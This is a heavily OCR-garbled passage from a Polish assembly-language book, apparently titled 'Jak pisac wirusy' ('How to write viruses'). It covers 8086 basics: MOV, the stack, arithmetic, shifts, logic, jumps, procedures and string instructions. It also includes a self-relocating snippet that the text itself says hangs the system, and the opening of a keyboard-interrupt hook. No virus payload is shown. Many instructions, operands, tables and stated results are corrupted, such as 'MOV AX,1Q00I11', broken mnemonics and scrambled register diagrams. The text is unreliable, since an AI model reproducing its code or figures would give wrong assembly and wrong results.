Instrukcja ta sfuzy do przesytania danych miedzy rejestrami, przesylania danych z pamigei do rejestréw i z rejestrow do
pamigei fadowania danych do rejestrow. Ogdina postac tej instrukcii to:

MOV zmienna lub rejestr,wartosc

Poprawnymi instrukejami 83 na przyklad:

MOV AX,BX ;zaladowanie wartoscl rejestru BXE
;do rejestru AX

MOV AX,1Q00I11 ;zaladowanie wartoscel 1000H
;do rejesrru

MOV AX, [BX] ;zaladowanie do rejestru AX slowa
;0 adresile zawartym w BX

MOV AX ES:70H ;zaladowanie do rejestru AX slowa

;o adresie, ktorego segment jest

rzawarty w ES, a offset wynosi 7O0H
MOV AH, zmiennal[si+5] ;zaladowanie deo rejestru AH

;bajtu o adresie zmienna +

;zawartosc rejestru SI + 5
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MOV AX,ES: [BX] rzaladowanie do rejestru AX slowa
;o adregie, ktorego segment jest
Jzawarty w BES, a offset w BX
MOV DS, BX ;zaladowanie wartosci rejestru BX
rdo_rejestru DS
MOV AX, SEG komunikat .?aladowanle segrentu adresu
) zmiennej komunikat do rejestru AX
MOV DX,OFFSET komunikat ;zaladowanie offsetu adresu
;zmienne] komunikat do rejestru

;DX
MOV AX, QDATA ;zaladowanlie do rejestru AX
;segnencu danych
Za$ nigpoprawnymi:
MOV DH,ARX ,nlenganEC Lypow
MOV DS, 2000H ido rejestrow segmentowvceh nie mezna

rbezposrednio przesylac warLosc;,
inajwyzej zawartosc innyeh rejestrow

MOV IP, BX ;rejestr IF nle moze byo zmieniany
;w ten sposob

Rowniez dokfadne opisy wszystkich rozkazow procesora znajduja si¢ w rozdziale pigtym. Jesli wigc bedziesz miat jakies
watpliwosci, to siegnij do tego rozdzialu,

Qstatnim efementem naszego programu jest dyrektywa END. Oznacza ona zakoriczenie programu. Jesli wystepuje bez
parametrow, 1o nie ma Zzadnego innego znaczenia. Moze natomiast wystapié z etykieta linil. Oznacza wiedy linig, od kidrej
rozpocznie sig wykonywanie programu,

(Analagicznie fak zmienaym rdwnie linfkom programu mozemy nadawac nazwy. Sg to tak zwane etykisty. Etykiety
zakariczone sg dwukropkiem. Przylkdadami stykiet moga byc:

etykietal: Mov AX,BX
etykietal: Int 13H

W pewien sposdb elykiety odpowiadajg adresom instrukgji. | tak mozesz je traktowac jako nazwe symboliczng nadana
adresowi instrukeji.)

Wracajac do ayrektywy END . W naszym programie jest ona podana bez parametréw i pierwsza wykonywana instrukcjg
programu jest ta, ktéra znajduje sie bezposrednio 2a dyrekiywg CODE, czyii:

mov axy, 2egment komunikat

Jesli natomiast trochg zmienilibysmy program | wygiadatby on tak:

. CODE

mov ax,seg koemunikat
mov ds,ax

mov ah,?9

mov dx, offset komunikat
int 21H

Start:

mov ah, 4CH

int 21H

END Start

to pierwsza wykonywang instrukcig bylaby ta znajdujgca sie za etykietg Start, czyli:

mov ah, 4CH

otos

Czqsio zdarza sig sytuacja, goy musimy zapamieta¢ wartosci jakis rejestrow, wykonas pewne operagie, a nastepnie
odtworzyd warta4ci tych rejestrow, Aby ulatwic czynnosci z lym zwigzane wykorzystuje sig strukture danych zwang stosem.
Na strukturze tej wykonuje sie tylko dwie operacje; pofozenia na stos (push) oraz pobrania ze stosu {pop}. Cperacja pobrania
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wykonywana jest w kolejnosci odwrotnej do operacii polozenia, to znaczy dana, ki¢ra jaka ostatnia byt potozona na stos,
jest z niego pobierana jako pierwsza.
Przykiadowo po wykonaniu ciggu Instrukeji

nusy
push
jiilwaty
push
oW
push
pop
pop
pop

ax,

ax

1

ax, 2

ax

ax,

ax
b=
(54
dx

3

W rejestrze BX znajdzie sig warto$é 3, w rejestrze CX warlo$C 2, a w rejestize DX 1.

QOrganizacia stosu w pamigel jest zwigzana 7 rejestrami S8 SP. Rejestr 55 wskazuje segment stosy, rejestr SP natomiast
jego wisrzeholek. Operacia polczenia na stos polega na zmnigjszeniu rejestru SP o 21 przestaniu wartosci kadzionej na stes
do komérek o adresach SS:SP i SS:SP-1, nalomiast operacja zdjgeia ze stost: polega na przestaniu wartosci komdrek $S:5P
i §8:5P-1 do odpowiedniego rejestru | zwigkszeniu rejestru SP o dwa. (Zwrd uwagg ze stos rosnie w kolejnodel odwrotne]
do kolejnosci adresdw w pamiggi.)

PrzesledZmy jak zmieniala sig pamied | odpowiednie rejestry przy wykonywaniu wypisanych powyzej operacii. Zakfadam,
e poczatkowo rejestr SP wynosil 100, za$ odresowanie stosu odbywa sig w stosunku do segmentu wskazywanego przez

Nz starcie:

PoinstrukcjachMOV AX, 1 /

Poinstrukcjach MOV AX, 2 /

AX =7 7

BX = ? ’

CX =2 E

DX =2 2
PUSH AX

AX =1 e ]

BX = 7 ?

CX =7 1

DX = 7 2
PUSH AX

AX=2 T

BY = 7 2

oX-17 i

DX = 7 2

Poinstrukgjach MOV AX,3 / PUSH AX
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Poinstikei POP BX
AX=13 ? 94
BX=3 2 9§ <SP
CX=7 1 o8
DX=7 ? 100
Poinstrukeji POP CX
AX=3 7 04
BX =3 ? ”
CX=2 1 98 <--— &P
DX=1? 7 100
Poinstrukgj POP DX
AX =2 ? o4
BX=3 ? 96
CX=2 ? o8
DX =1 ? 100 <-— §P

7. Operacje arytmetyczne

Poniewaz, jak pewnie dobrze wiesz, komputer o takie duze liczydlo, w zestawle rozkazéw procesora nie moze zabraknaé
operacii dodawania, odejmowania, itd. Do rozkazdw tej grupy naleza migdzy innymi:

ADD rejestr, zmienna
SUB rejestr, zmlenna

Dodanie do rejestru wartosci zmienngj
Odjecie od rejestru wartosci zmiennej
INC rejestr Zwigkszenie rejestru o 1
DEG rejestr Zmniejszenie rejestu o 1
Wiasciwie operacje te moga byé wykonywane na dowolnych refestrach ogélnego przeznaczenia, jednak dzialajg one
szybciej jezeli jednym z argumentdw jest rejestr AX.
Pewng odmiang rozkazéw ADD i SUB sq rozkazy ADC i SBB. Dzialefg one tak samo, ale uwzgledniaja przeniesienie,
z poprzednio wykonywanej operacji. Przeniesie zachodzi wiedy, gdy wynik operacii nie miesci sig w przewidzianych
granicach, Przyktadowa, po wykonaniu ciggu instrukcji:

MOV AX, OFFFFH
MOV BX,1
ADD AX,BX

W rejestrze AX znajdzie sig wartodé 0, ale znacznik C zostanie ustawiony i bedzie mdgt by uwzgledniony przy nastepnej
operacli ADC. Jest io wykorzystywane gldwnie przy dodawaniu liczb dhuzszych niz 16-bitowe.

Przeniesienie moze zaistnied réwniez wiedy, gdy probujemy odjaé wiekszg liczbg od mniejsze.

W grupie rozkazow arytmetycznych znajdujg sie réwnie mnozenie | dodawanie. Wystgpuja one w dwdch wersjach 8i 16
hitowych. Majg one postac:
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MUL rejestr [ub zmienna Mnozenie. W przypadku mnozenia 8-bitowego drugi czynnik must znaj-
dowac sie w AL, a wynik znajdzie sie w AX. W przypadku mnozenia
16-hitowego drugi czynnik powinien by¢ przekazany w AX, a wynik
znajdzie sie w parze rejestrow DX:AX '

DIV rejestr lub zmienna Dzielenie. W przypadku dzieienia 8 bitowego w rejestrze AX powinna
znajdowad sig dzielna, a iloraz znajdzie sig w AL, raszta z dzielenia
w AH. W przypadku dzielnia {6-bitowege dzielna powinna byé przeka-
zana w rejestrach DX:AX, a iloraz znajdzie sie w rejestrze AX, zas
reszta z dzielenia w DX. Wywolanie dzielenia przez zero spowoduje
wywolanie przerwania sprzgtowego numer 0. Przerwanie to jest row-
niez wywobywane, gdy iloraz nie miesci s'e w odpowiednich rejestrach,

Przyktadowe, po wykonaniu instrukeii:

MOV A%, 10H
MOV AH, 50H
MUL AH

w rejestrze AX znajdzie sie warto$é S00H.
Po wykonaniu instrukgii:

MOV AL, 11
MUIL, al

w rejestrze AX znajdzie sie wartosc 121 (112)
Po wykonaniu instrukeii: -

MOV A¥,1000H
MOV BX,20H
MUL BX

rejestrze DX znajdzie sie wartosé 2, a w rejestrze AX wartosé 0 (W parze rejestrow DX:AX znajdzie sig wartos¢ 20000H)
Pawykonaniu instrukaji:

- MOV AX, 37
MOV DL,12
DIV DL

w rejestrze AL znajdzie si¢ wartosc 3 (37 podziclone przez 12), a wrejestrze AH 1 (reszta z dzielenia 37 przez 12)
Po wykonaniu instrukeii:

MOV DX, 3

MOV AY,2050K ; W parze DX:;AX znajduje sie 30205H
MOV BX,100H

DIV BX

wrejestze AX znajdzie sig 302H (30205H podzielone na 100H), zas w DX 5 {reszta z dzielenia 30205H przez 100H)
Za$ wykonanie instrulcii:

MOV AX,10
MOV - DL, O
DIV DL
lub
MOV AX,JFFFFH
MOV DL, 1
DIV DL

spowoduje wywotanie przerwania sprzgtowego #0.

Zardwno mnozenie jak i dzielenie przy uzyciu tych rozkazdw jest powalne {to znaczy zajmujace duzo talkiow procesora).
Poza tym przy korzystaniu z dzielenia trzeba kontrolowad dzielnik, aby nie wystapito przerwanie nr 0. Instrukcje te sg wigc
Kopothwe w u2zyciu. Na szczedcie przy pisaniu programéw wiekszos¢ operacji dzielenia | mnozenia wykonuje sig na potegach
dwajki | wykorzystuje sie do tego instrukcje przesuniecia.

Jak pisac wirusy Strona:14



14

8. Przesuniecia, obroty i rozkazy logiczne

Ta grupa rozkazéw wymaga aby$my znowu potraktowali zawartoscl rejestrow jako liczby dwdjiowe. W przypadku innego
ich zapisu wyjasnienie dziatania tych rozkazow byloby byt skomplikowane. Uméwmy sig wigg, ze na czas tego paragrafu
powrGcimy do zapist warlodci rejestréw w postaci biname. Liczbe w tej postaci bedziemy oznaczac poprzez dodanie na jej
koricu litery B.

Plerwsza grupa operacj 10 przesunigcia i obroly. Operacje te moga byé wykonywane zardwno na argumentach 16-bitowyeh
jak i 8-bitowych. Drugim argumentem operac jest zawsze 1 lub rejestr CL zawierajacy liczbg pozycil, o ile cheemy przesunad
|lub obrécié pierwszy operand. Dziatanie poszezegdinych operac]i wyjasniaja rysunki. Litera C na rysunkach oznacza znacznik
przeniesienia. Rysunki objasniaja dziatanie operaci przesuniecie lub abrotu o jedng pozycig dla rejestru AL, bily tego rejestru
s3 ponumerowane w kolejnosei 7-0. Po kazdym rysunku znajduje sig réwniez przyktad dotyczacy instrukcii.

SHL refestr lub zmienna,liczba Przesunigcie logiczne w lewo

SAL rejestr lub zmienna liczha Przesuniecie aryimetyczne wlewo
5HR rejestr lub zmienna,liczba Przesuniecie iogicine W prawo
SAR rejestr lub zmienna,liczba Przesunigcie aryimetyczne w prawo
AOL rejestr fub zmienna,liczba Obrét w lewo

ACL rejestr lub zmienna,liczba Ohrdt w lewo 7 przeniesieniem
ROR rejestr lub zmienna,liczba Obrdt w prawa

RCH rejestr lub zmienna liczba Obrdt w prawo z przeniesieniem

Instrukcja SHL i SAL

Fas
L]

< 7] [ ][5 |<[a]«[3]<[2]«[1]«]0

MOV AL, 15H ;O00101I01E
MOV CL,2
SHT. AT, CL

Wynik AL=54H 010101008

Znacznik C wyzerowany

Instrukcja SHR

o | [-[E-E~E~[E- 2] [~ |~

MOV AL,15H ;00010101B
MOV CL, 3
SHR AL, CL

AL =02H ;000000108
Znacznk C ustawiony
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Instrukcja SAR

[7] - [6 )= |5 ]=>l4]=[8]=[2]=]1]>[0]

MOV AL,A3ZH ;10100011PB
MOV CL, 4
SAR AL, CL

AL =0FAH;11111010B
Znacznik C wyzerowany

Instrukcja ROL
E —
i C| e 7 |<-16|=<-|5 |<-| 4 <--| 3 -:--\i <= | 4 | <=1 p

MOV AL 15H ;000101018
ROL AL,

Wynik: Al = ZAH,UD1010108

Znacznik C wyzerowany

Instrukcja RCL
C |« Tle=| G| & <-4 || J || 2 [<|1]|<]|0
MOV AL,15%H ;00010101B
Mov CL,3
RCL AL, L

Wynik: AL = ABH;10101000B

Znacznik C wyzerowany

Instrukeia BCR

- 7 | B |-> 5i.“> 4 = | 3 | 2 > | 1 >0 L.

Przy zatozeniu, ze znacznik C jest wyzerowany
MOV AL, 21H ; 001000018
ROR AL, 1
Wynik: AL = 90H ;10010000E
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Znacznik C ustawiony
Instrukcja RCR
> 7= 8|~ 5|4 --‘:-LS‘--:» 2 -->{1—i--> 0 > 0 b=

Przy zalozeniu ze znacznik € jest ustawiony

MOV AL,QCDH ;11001101B
MOV CL, 2
RCR aLl, CL

Wynik; AL = F3H;111100118

Znacznik C wyzerowany

Przesunigcie w lewo jest s2ybszq metoda mnozenia przez polggg dwdiki, a przesunigcie logiczne w prawg szybsza metodq
dzielenia przez potegg dwaiki. Wykonajmy kilka przyldadéw aby sprawdzic, czy tak rzeczywiscie jest.

MOV AL, 272 ; ﬂg]ﬂﬂﬂOOB
MOV CL,d ; 27=16
SHR AL, CL

Po wykonaniu tych instrukcii w rejestrze AL znajdzie sig warlosc 2 (0000001 0B) czyli wynik 32/16

MOV AL,4 OQOOOIOOB
MOV CL,3 ; 2°=8
SHL aL, CL

Po wykenaniu tych instrukeli w rejestrze AL znajdzie sig wartasé 32 (001000008} czyli wynik 46

Jeéli jeszcze nie jestes przekonany, to przypomnij sobie jak w systemie dziesiginym mnozy i dzieli sig liczby przez potegi
dziesiatki(10,100,1000 iid}. Ot6z pomnozenie przez potege dziesiatki polega na dopisaniu da liczby tylu zer, ile ma ta potega
1 dla 10'=10, 2 dla 10°=100 itd.}. Podzislenie polega na obcigeiu zer. Analogicznie jest w systemie dwojkowym dia poigg
dwdjki. Operacje SHL i SHR wykonuj sig o wiele szybcie] niz operacie MUL i DIV, sa poza tym bezpiecznieisze w UZyciu.
Dtatago stosuj ie zawsze gdy przyjdzie Ci mnozy¢ lub dzielic przez potege dwojki,

Natomiast przy mnozeniu lub dzieleniu liczby zawarte w parze rejestiow nalezy jeszcze uzyt instrukeji RCL lub RCR.
Przyktadowo mnozenie liczby zapisanej w parze rejestraw DX:AX przez 2 moZna zaprogramowac:

SHL AX,l ; Bit 15 przeniesiony do znacznika C
RCL px,l ; Bit § pobrany ze znacznika C

Nastgpne rozkazy wykonuja operacie logiczne. Podobnie jak poprzednio wszystkie te operacie dzialajg albo na liczbach
8-bitowych, albo na 16-bitowych.

lerwsza z nich dziafa tylko na jednym argumencie. .Jest to operacja:
NOT rejestr lub zmienna Operacja ta to negacja logiczna. Jej dziatanie polega na zamianie
kazdeqo bitu argumentu na przeciwny.

Przyktadowo wykonanie instrukji:
- MOV AX,14B5H ; 0001010010110101B
NOT AX

spowaduje umieszezenie w rejestrze AX wartodci OEB4AH (1110101101001C10B)

Nastapne cztery operacje dzialaja na dwdch argumentach. Po ich wykonaniu zerowane s3 znaczniki G i O, a znaczniki 5
P i Z s3 ustawiane zgodnie z wynikiem operacfi. W trzech z nich {AND,OR XCR) wynik jest przesylany do pienwszego
operandu. Operacja TEST ustawia tylke cdpowiednie znaczniki bez zmieniania zawanosci operanddw.
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AND rejestr lub zmienna, rejestr, zmienna lub floczyn logiczny

warlosé

TEST rejestr lub zmienna, rejestr, zmienna lub iloczyn logiczny bez zmiany operandéw
wartodé

OR rejestr lub zmienna, rejestr, zmienna fub suma logiczna

wartasé

XOR rejestr lub zmienna, rejestr, zmienna lub réznica symetryczna

wartosé

Operacje te 53 wykonywane po kolei na parach bitdw. Jesli nie pamigtasz w jaki sposth sg one zdefiniowane to ponizsze
tabele pomoga G w przypomnieniy sobie.

A - pierwszy bit z pary , B — drugi bit z pary , W - wynik.

AND OR XOR
A 8 W A B W A B Wo
0 1 0 0 1 1 0 1 1
1 0 0 1 0 1 1 0 1
1 1 1 1 1 1 1 1 0
Przyidadowo:

MOV AL,2CH ; 001Q1l100B

MOV BL,&65H ; 01104101B

AND AL,EBL

umiesci w AL liczbg 24H (00100100B)

MOV AL,59H ; (1011001B
MOV BL,SBH ; 10011Q11B
OR AL, BL

umissci w AL liczbe GDEH (110110118}

MOV AL,57H ; 01010111B
MoV BL,QC2ZH ; 110000210B
KOR AL, EL

umiesci w AL liczbe 95H {100101018) natomiast wykonanie
HOR AX, AX

spowoduje umieszczenie w rejestrze AX wartodcl 0, niezaleznie od tego jaka wartosc sig¢ w nim znajdowala. Jest to wige
instrukcja réwnowazna z MOV AX,0 . Wykonuje sig jednak odrobine szybeiej i zajmuje tylko dwa bajty zamiast trzech i dlatego
wielu programistéw woli jg stosowac do zerowania rejestrow.

Inng ciekawa cecha instrukcji XOR jest to, 2e wykonanie dwukrotnie tej operac]i na tych samych argumentach da nam te
argumenty. Inaczej méwigc operacja ta jest odwrotna w stosunku do samej siebie. Mozemy z tego korzyslac na przykiad
przy kodowaniu, gdzie ta sama procedura jest zarowno procedurg kodujgea jak i dekodujaca,

Na koniec chciatbym wyjagnié pojecie maski. Zwiazane jest ono z instrukejg AND. Ot62 instrukgja ta jest uzywana wiedy,
gdy interesuigea nas informacja w danej znajdue sie tylko na kitku jej bitach, a pozostale bity nis g, z naszego punkiu
widzenia, istotnc. Wicdy wiasnic wykonujcmy instrukcig AND z drugim argumentem, w kiorym bity odpowiadajace bitom
znaczacym w danej sa ustawicne, a pozostate bity sg wyzerowane. Ten argument nazywamy maska. Po wykonaniu operagji
AND mozemy jeszcze przesunac wynik w prawo fak, aby interesujace nas bity znalazly sig na poczatiu.

Przykladowo zaldzmy, ze po wykonaniu przerwania 11H bity 6-7 (kolejnosé bitow 7-0} rejestru AL zawlerajq liczbe stacjt
dyskéw w systemie. Po wykonaniu instrukeji; '
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MOV BL, 0COH ;macska 11000000B

AND AL, BL iwszyetkie bity AL poza 6 1 7 ga zerowane
MOV CL, &

SHR AL, CL

rejestr AL bedzie zawieratinteresujaca nas liczbe.

9. Instrukcje sterujace programem

W dotychczasowych przykiadach wszystkie instrukeje byly wykonywane po kolei, jedna po drugiej. Oczywiscie, gdyby
programy byly pisane tylko w ten sposéb, ich mozliwosei byloby bardzo ograniczone. Diatego w procesorze istnigje cata
grupa rozkazéw sterujgeych praca programu, Argumentami tych instrukcfi g adresy. Bedeg rozrdznial adresy bliskie
fwewnatrz danego segmentu - sklada sig tylko z offselu) oraz dalekie { winnym segmencie —sklada sig 7 segmentu i offsetu}.

Pierwszym rozkazem tej grupy |est rozkaz skoku bezwarunkowego. Jego dziatanie polega ne tym, e zmienia wartosc
rejestru IP (oraz ewantualnie CS) tak, aby wskazywat na dany adres. Innymi stowy, instrukcja pod wskazanym adresem jest
wykonywana juke naglepna. Bozkaz ten zapisuje sig w pestaci:

JHP adres
Przykladowo, jesli wykonujemy ciag instrukcii:

MOV A%, 1
JMP NAST
MOV BX, 2
MOV CX, 3

NAST: MOV DX.,4

to po instrukeji MOV AX,1 zostanie wykonana instrukcja MOV DX 4.

Nastgpna grupa instrukcji to skoki warunkowe. lch dziafanie jest takie, Ze jedli ustawione sa odpowiednie znaczniki
procesota {patrz tabela) lo wykonuje sie instrukcja pod podanym adresem, jesli nie, to wykonuje sig instrukcja nastgpna
w kolejnosci. Wszystkie e skoki sa skokami krGtkimi, to znaczy etykieta, doktdrej skacza moze lezec w odleglosci co najwyzej
128 bajtow od instrukeji. Przyktadowy ciag instrukcji sprawdza czy nacisniety klawisz jest literg A, a nastgpnie wykonuje inny
cigg operacii w przypadku gdy jest naci$nigty ten Kawisz , a inny gdy nie jest naciéniety.

MOV All, 1

INT 21H

CMP AL, "A*

JE NACISNIETY

JMP NIE_NACISNIETY
NACISHNIETY:

; PIERWSZY CIAG TNSTRUKCII

JME DALEJ

NIE_NACISNIETY:

. ; DRUGI CTAG INSTRUKCJTI
DALEJ:

W przykdadzie wystapila rie znana Ci do te] pory instukcja CMP rejestr ub zmienna, wartos,

Jest 1o instrukcja porownania. Jej dziatanie polega na odjgciu pierwszego argumentu od drugiego, ale wynik operagii nie
jest nigdzie zapisywany, a tylko na jego podstawie ustawiane sa odpowiednie znaczniki procesora. Instrukcje CMP stosuje
sie zazwycza) przed razkazami skoku warunkoweqo

W ponizszej tabeli przedstawione sg wszystkie instrukcje skokdw warunkowych.

Jak pisac wirusy Strona:19



19

NAZWA OPIS SPRAWDZANE ZNACZNIKI
JB/INAE Skok gdy mniejszy C=1
Skok gdy nie wigkszy lub réwny
JAE/INB Skok gdy wiekszy lub rowny C=0
Skok gdy nie mniejszy ) |
JBEUNA Skok gdy mnigjszy lub rowny C=1 fuh Z=1
_Sk_ok gdy nie wiekszy
JAJINBE Skok gdy wigkszy C=012=0
Skok galy nie mniejszy lub rdwny _
JEAZ Skok gdy rowny Z=1
JNEJNZ Skok gdy nie rdwny Z=0 |
JUUNGE Skok gdy mnigjszy {liczby ze 5=0
znakiem) Skok gdy nie wigkszy lub rdwny
JGE/NL Skok gdy nie wickszy (liczby ze 5=0
znakiem) Skok gdy nie mniejszy
JNG/LE Skok gdy mniejszy ub 1owny Z=1lub S=0
Skok gdy nie wigkszy {liczby ze
znakiem)
JG/INLE Skok gdy wigkszy {liczby ze znakiem} Z=0 i 8=0
Skok gdy nie mniejszy b rowny
JPHPE Skok przy parzystosci P=1
JNPUPO Skok przy braku parzystosci P=0
JS Skok gdy znak ujemny S=1
JNS Skok gdy znak dodatni 5=0
JC Skok przy przeniesieniu C=1
JNC Skok przy braku przeniesienia o C=0
JO Skok przy nadmiarze 0=1
JNO Skok przy braku nadmiaru 0=0

Do tej grupy rozkazéw mozna réwniez zaliczyd instrukeje LOCP adres, kidre| dzialanie polega na zmnigjszeniu
o jeden zawartoddl rejestru CX, sprawdzeniu i skoku do podanego adresu w przypadku gdy zawartose tego rejestru nie jest
rwna zen. Instrukeje:

MOV Cx,R000H
Pusta_Petla:
LOoOP Pusta Petla

nie robia nic innego poza opdZnieniem pracy programu na pewlen czas.
Wér6d instrukcii stenujacyeh pracg programu znajdujg sig jeszeze rozkazy wywotania procedury i powrotu z procedury

CALL adres ; Wywolanie procedury, adres moze bye
; daleki lub bliski

RET ; Powrot z procedury bhliskie]

RETE : Powrot z procedury dalekiej

Jesli jakié ciag instrukeji jest wykonywany kikakrotnie w rdznych migjscach programu, to mozna umiescic go
w tredci procedury i odwolywad sie do niego za kazdym razen instrukcja CALL. Na koricy podprocedury musi
by¢ umieszczona instrukeja RET. Przyktadowo, zamiast instrukcji:
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Mozemy napisad réwnowazny ciag:

Procedura:
Rozkaz_1
Rozkaz_2
Rozkaz_3
RET

Start:
CALL Procedura

éiﬁL Procedura

-

Ten crugi ciag jest kréiszy, poza tym stosowanie procadur powoduje, Ze program staje sie bardziej strukturalny, a co za
tym idzie bardzle] czytelny. Moze to dia Cieble na razie nie mied znaczenia, ale wierz mi, 7e przy nieczytelnie napisanym
programie nawet autor po uplywie pewnego czasu ma klepoty z rozszyfrowaniem Znaczenia poszezegolnych instrukeji.

Poniewa2 badziesz na pewno czesto uzywat procedur w swoich programach, cheiatbym Cie od razu ostrzec przed dwoma
hardzo czgstymi przyczynami bieddw zwigzanymi z ich stosowaniem. Plerwszy rodzaj bleddw to zmiana warloscl rejestrow
w trasei procedury. Przyktadowo piszqgc instrukcje:

MOV AH, 10
CARLL procedura_l
CMP AH, 10

Mozesz sie spodziewas, ze wynik pordwnania bgdzie zawsze pozytywny. | rzeczywiscie tak jest, pod warunkiem, Ze w tresci
procedury nie zmienia sie zawariosci rejestru AH. Bo jezeli procedura zawiera na przykad instrukcje:

procedura_l:

MOV . AH,1
INT 21H
RET

Towykonanie programu nie herzia przebiagad, tak jak sobie zaplanowale$, Blad ten dosé trudno wykryé przy przegladaniu
programu,

Aby unikna takich sytuacjl stosu] slg zawsze do zasady, zeby na poczatku procedury zapamlatywac na siosie wartosci
wszystkich rejestréw uzywanych jako robocze w procedurze {acznie ze rejestrem znacznikow), a na koricu procedury
przywracad te wartosci. Dobrze napisana procedura powinna miec wigc postac:

Nazwa: ) . ] )
PUSHF ;Zapamietanie rejestru znacznikow
DPUSH A
; Zapamietanie uzywanych rejestrow
;Tresc procedury
;Przywrocenie wartosci rejestrow
POP AX ) _ ‘ _
POPEF ;Przywrocenie rejestru znacznikow
RET

Oczywiscie zasada ta nie dotyczy rejestrow, w kidrych majg by zwracane wyniki dziatania procedury.
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Drugi rodzaj bleddw jest o wiele trudniejszy do wykryciai nie potrafia przed nim sig ustrzec nawet doswiadezeni programisci,
Wigze sig on ze sposobem wywolywania i powrotu z proceduty. Ot6z instrukeja CALL umieszcza na slosie swoj adres
iwykonuje skok do procedury, natomiast instrukcja RET zdejmuje ze stosu adres powrotny (Instrukcja RETF zdejmuje kolejno
offset i segment adresu) i skacze dori. Wynika z tego, e jakakolwiek zmiana elemeniu na wierzcholku stosu powoduje skok
do przypadkowsgo miejsca w pamigci. Najczgscie] koriczy to siq wysypaniem sig systemu. Nawet wywotanie tak niewinnej
procedury jak:

Pl:
¥OR AX  AX
PUSH A
RET

Moze spowodowad zewlescenie sie progtaiiu, o w nujlepszym wypadku jego dziatanie niezgodne z zatozeniami.
Jesli wiec Twdj program z nieznanych powoddw nie chee chodzic”, to istnieje dufe prawdopodobieristwo, ¢ jest to
spowodowane syluacig opisana powyze|.

10. Przenoszenie instrukcji, porownywanie danych i skoki do
innego segmentu

W tym paragrafie cheialbym przedstawié Ci niektdre z pozostalych rozkazéw procesora Intel 8086, wraz z przykiadami
zastosowar,

NOP Instrukcja pusta, nie wykonuje 2adnej czynnosci
N ALDX Przeslanie bajtu z portu o numerze w DX do AL
IN AX,DX Przeslanie stowa z porlu o numerze w DX do AX
iN AL,numer Przestanie bajtu z pertu o numerze 0-258 do AL
IN AX,numer Przestanie stowa 2 poru o numerze 0-255 do AX
OUT DXAL Przestanie stowa z AL do portu ¢ numerze w DX
QUT DX, AX Przestanie stowa z AX po portu o numerze w DX
OUT numer,AL Przestanie stowa z AL po portu o numerze 0-285
OUT numer,AX Przeslanie stowa z AX po portu o numerze 0-255
CLC Zerowanie znacznika przeniesienia C

STC Ustawienie znacznika przenigsienia C

CLD Zerowanie znacznika kierunku D

STD Ustawienie znacznika kierunku D

CLI Zerowanie znaczrika zezwolenia na przerwanie |
871 Lstawienie znacznika zezwolenia na przerwanie | @COL1 = CMPSB

Poréwnanie zawartosci bajtu DS:{51} z zawartoscig bajtu ES:[DI] i zwig-
kszenig/zmnigiszenie zawartosci Sl i Dl w zaleinosci od stanu znacz-
nika kierunku D,  instrukela poprzedzona przedrostkiem REP moze
shrzyc do poréwnywania farficuchdw.

MOVSB Przekopiowanie zawarlosci bajtu 0S:[51] do bajtu ES:{DI] | zwigksze-
niefzmnicjszenie zawartodci Sl Ol w zaleznosdi od stanu znacznika
kieruniu D. Instrukcja poprzedzona przedrostkiem REP moze sluzyc
do kopiowania programu luby danych w pamigai.
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SCASB

Poréwnanie zawartoscl bajtu DS:[SI] 2 zawartoscia rejestru AL 1 zwig-
kszenie/zmniejszenie zawartosel S1 w zaleznosci od stanu znacrnika
kierunku D.

Poréwnywanie dwdch ciggdw danych, moze sig odbywad ra przyklad przy pomocy ciggu instrukeji:

MOV
MOV
MoV
MOV
MOV
MOV
MOV
CLD
REE
JHI
JMP

CX,LICZBA_POROWNYWANYCH_EAJTGW
51, 0FFSET_PIERWSZEGO_CIAGU

DI, OFFSET_DRUGIEGO_CIAGU

AX, SEGMENT_PIERWSZEGO_CIAGU
03, AX

AX, SEGMENT_DRUGIEGO_CIAGU

B, AX

CMPSE
NIE_ROWNE
ROWNFE

. Natomiast do przekopiowania fragmentu programu w inne migjsce parnieci mozesz postuzyé sig instrukclarmi:

MOV
MoV
MOV
MOV
MOV
MGV
MOV
CLD
EEP

¢x,LICZBA KOPICWANYCH_BAJTOW
ST, OFFSET_STARTU

DI, OFFSET_DOCELOWY

AY SEGMENT STARTU

DS, AX

AX, SEGMENT, DOCELOWY

ES, AX

MOVSE

Najezesciej program po przekoplowaniu w pamigci powinien jeszcze skoczyc do nowego migjsca. Najiepiej nie robic tego
poprzez dalaki skok, ale wykorzystac instrukejg RETF. Skok pod dany adres przy pomocy tej instrukcji mozZe sig odbyc na
przykiad w nastepujacy sposcb:

MOV
PUSH
MOV
PUSH
RETF

A¥, SEGMENT_ADRESU
AX
AX, OFFSET_ADRESU
AX

Ponizszy programik nie rohi nic poza przenoszeniem sle co 16 segment. (Oczywiscie nie prébuj go uruchamiac bo
spowoduje na pewno zawieszenie sig systemu)

start:
MOV
MOV
ADD
MOV
PUSH
MOV
MOV
PUSH
MOV
CLD
REP
EETF
koniec:

Jak pisac wirusy

AX,CS

D8, AX

ADD AX,10H

ES,AX

AX

ST ,0FFSET START

DI, ST

SI

CX, (OFFSET KONIEC) - {OFFSET START)

MOVSE
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11. Przechwytywanie przerwan

Poniewaz programy pisane w assemblerze stosuje sie giownie do tworzenia whasnych procedur obstugi przerwar,
cheialbym przedstawié Ci jeden z takich programéw. Przechwyluje on przerwanie Klawiatury, tak aby wprowadzang z nigj
réwnie2 byly polskie znaki w standardzie Mazovii. Mate polskie znaki osiagalne sg poprzez nacisnigeie lewego klawisza ALT
i itery, natomiast wielkie polskie litery poprzez nacisnigcie Shift (Zapalenie Gaps Lack), lewego ALT i litery. Prawy ALT ma
znaczenie takie jak standardowo | moze by¢ wykorzyslywany na przykiad przy korzystaniu z Menu niekidrych programeéw.

Wszystkie instriukcjg powinny byé Cijuz znane, wyjasnienia moze wymagac najwyzej dyrektywa DOSSEG, informuje ona
program konsalidujgcy, ze segmenty maja by¢ sortowane wedtug konwencji ustalongj przez firmg MICROSOFT. Nie maona
praktycznego maczenia z Twojego punktu widzenia, wazne tylko byla umieszczona na poczatku programu.

Reszte szczegSiow technicznych znajdziesz w pigte] czesci ksigzki

------------------------------------------------------------------

Program Keybcard Andrze] Dudek Pazdziernik 19352

Program przechwytuje przerwanie klawlatury 16H i obhsuguje
klawiature z polskimi literami. Polskie litery sa otrzymywane:

mala litera - lewy alr + litera ]
wielka litera - lewy alt + shift + litera lub
lewy alt + litera prey zapalonym CAPS LUCK-u

zwiazane z tym, 1z niektore klawiatury nie odrozniaja lewego 1
prawago klawlsza ALT. W takim wypadku parametr alt nalezy
zmienic na O8H

Program mozesz doweolnie rozpowszechniac i modyfikowac. Wszelkie
